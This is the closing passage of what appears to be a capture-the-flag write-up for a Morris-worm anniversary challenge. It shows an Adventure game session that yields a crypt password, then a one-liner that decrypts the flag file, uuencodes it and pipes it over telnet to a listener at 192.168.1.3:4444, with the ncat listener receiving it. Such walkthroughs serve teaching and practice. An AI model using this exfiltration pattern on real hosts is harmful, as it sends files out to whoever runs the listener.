Downstream the streambed is bare rock. go south You are in a 20-foot depression floored with bare dirt. Set into the dirt is a strong steel grate mounted in concrete. A dry streambed leads into the depression. The grate is locked. unlock grate The grate is now unlocked. enter You are in a small chamber beneath a 3x3 steel grate to the surface. A low crawl over cobbles leads inward to the west. The grate is open. go west You are crawling over cobbles in a low passage. There is a dim light at the east end of the passage. There is a small wicker cage discarded nearby. take cage OK go west It is now pitch dark. If you proceed you will likely fall into a pit. light lamp Your lamp is now on. You are in a debris room filled with stuff washed in from the surface. A low wide passage with cobbles becomes plugged with mud and debris here, but an awkward canyon leads upward and west. A note on the wall says "magic word xyzzy". A three foot black rod with a rusty star on an end lies nearby. go west You are in an awkward sloping east/west canyon. go west You are in a splendid chamber thirty feet high. The walls are frozen rivers of orange stone. An awkward canyon and a good passage exit From east and west sides of the chamber. A cheerful little bird is sitting here singing. catch bird OK go west At your feet is a small pit breathing traces of white mist. An east passage ends here except for a small crack leading on. Rough stone steps lead down the pit. go down You are at one end of a vast hall stretching forward out of sight to the west. There are openings to either side. Nearby, a wide stone staircase leads downward. The hall is filled with wisps of white mist swaying to and fro almost as if alive. A cold wind blows up the staircase. There is a passage at the top of a dome behind you. Rough stone steps lead up the dome. go down You are in the hall of the mountain king, with passages off in all directions. A huge green fierce snake bars the way! release bird The little bird attacks the green snake, and in an astounding flurry drives the snake away. go sw You are in a secret canyon which here runs e/w. It crosses over a very tight canyon 15 feet below. If you go down you may not be able to get back up. go west You are in a secret canyon which exits to the north and east. A huge green fierce dragon bars the way! The dragon is sprawled out on a persian rug!! kill dragon With what? Your bare hands? yes Congratulations! You have just vanquished a dragon with your bare Hands! (unbelievable, isn't it?) You are in a secret canyon which exits to the north and east. There is a persian rug spread out on the floor! The body of a huge green dead dragon is lying off to one side. There is a flag here. take flag OK inventory You are currently holding the following: Set of keys Brass lantern Wicker cage 2 of Diamonds go east A little dwarf just walked around a corner, saw you, threw a little axe at you which missed, cursed, and ran away. You're in secret e/w canyon above tight canyon. There is a little axe here. take axe OK go east There is a threatening little dwarf in the room with you! One sharp nasty knife is thrown at you! It misses! You're in hall of mt king. A cheerful little bird is sitting here singing. throw axe at dwarf You killed a little dwarf. The body vanishes in a cloud of greasy black smoke. You're in hall of mt king. There is a little axe here. A cheerful little bird is sitting here singing. go up You're in hall of mists. Rough stone steps lead up the dome. go up You're at top of small pit. Rough stone steps lead down the pit. go east You're in bird chamber. go east You are in an awkward sloping east/west canyon. go east You're in debris room. A three foot black rod with a rusty star on an end lies nearby. xyzzy You're inside building. There is food here. There is a bottle of water here. drop flag Congratulations! You have completed the 2 of Diamonds challenge. The crypt(1) password for 2_of_diamonds.dat is `wyvern'. A large cloud of green smoke appears in front of you. It clears away to reveal a tall wizard, clothed in grey. He fixes you with a steely glare and declares, "this adventure has lasted too long." With that he makes a single pass over you with his hands, and everything around You fades away into a grey nothingness. You scored 65 out of a possible 366 using 36 turns. Your score qualifies you as a novice class adventurer. To achieve the next higher rating, you need 36 more points. crypt wyvern < /usr/games/lib/2_of_diamonds.dat | uuencode 2_of_diamonds.png | telnet 192.168.1.3 4444 Trying... Connected to 192.168.1.3. Escape character is '^]'. Connection closed by foreign host.

And an outsider would never guess our secret password, "wyvern"—how many people would think of a mythological winged dragon when guessing our password?

wvu@kharak:~$ ncat -lv 4444 | uudecode Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 192.168.1.3. Ncat: Connection from 192.168.1.3:49444. write: Broken pipe wvu@kharak:~$ ls -l 2_of_diamonds.png ---------- 1 wvu 2075806812 131776 Dec 18 13:44 2_of_diamonds.png wvu@kharak:~$ chmod 644 2_of_diamonds.png wvu@kharak:~$ file 2_of_diamonds.png 2_of_diamonds.png: PNG image data, 500 x 700, 8-bit/color RGBA, non-interlaced wvu@kharak:~$ pngcheck -cv 2_of_diamonds.png File: 2_of_diamonds.png (131776 bytes) chunk IHDR at offset 0x0000c, length 13 500 x 700 image, 32-bit RGB+alpha, non-interlaced chunk pHYs at offset 0x00025, length 9: 2835x2835 pixels/meter (72 dpi) chunk sRGB at offset 0x0003a, length 1 rendering intent = perceptual chunk gAMA at offset 0x00047, length 4: 0.45455 chunk IDAT at offset 0x00057, length 131669 zlib: deflated, 32K window, superfast compression chunk IEND at offset 0x202b8, length 0 No errors detected in 2_of_diamonds.png (6 chunks, 90.6% compression). wvu@kharak:~$ md5 2_of_diamonds.png MD5 (2_of_diamonds.png) = 46ff82c72e7491a451fef2e335dcb912 wvu@kharak:~$

The worm turns, 30 years later

I hope you enjoyed this trip down memory lane with a little binary exploitation and shell trickery thrown in. Hopefully you were able to play along, too. While the system and and its software may not be relevant today, much of the same technical skill is relevant, especially for those new to the field.

The modules are available in the tree for your perusal and edification. Patches welcome! I'd love to write an encoder or even "invent" ROP, but maybe that's for someone more ambitious. This was just a side project, after all. Back to the present!

Happy birthday, Morris worm! And happy HaXmas to all!

Resources

Read Entire Article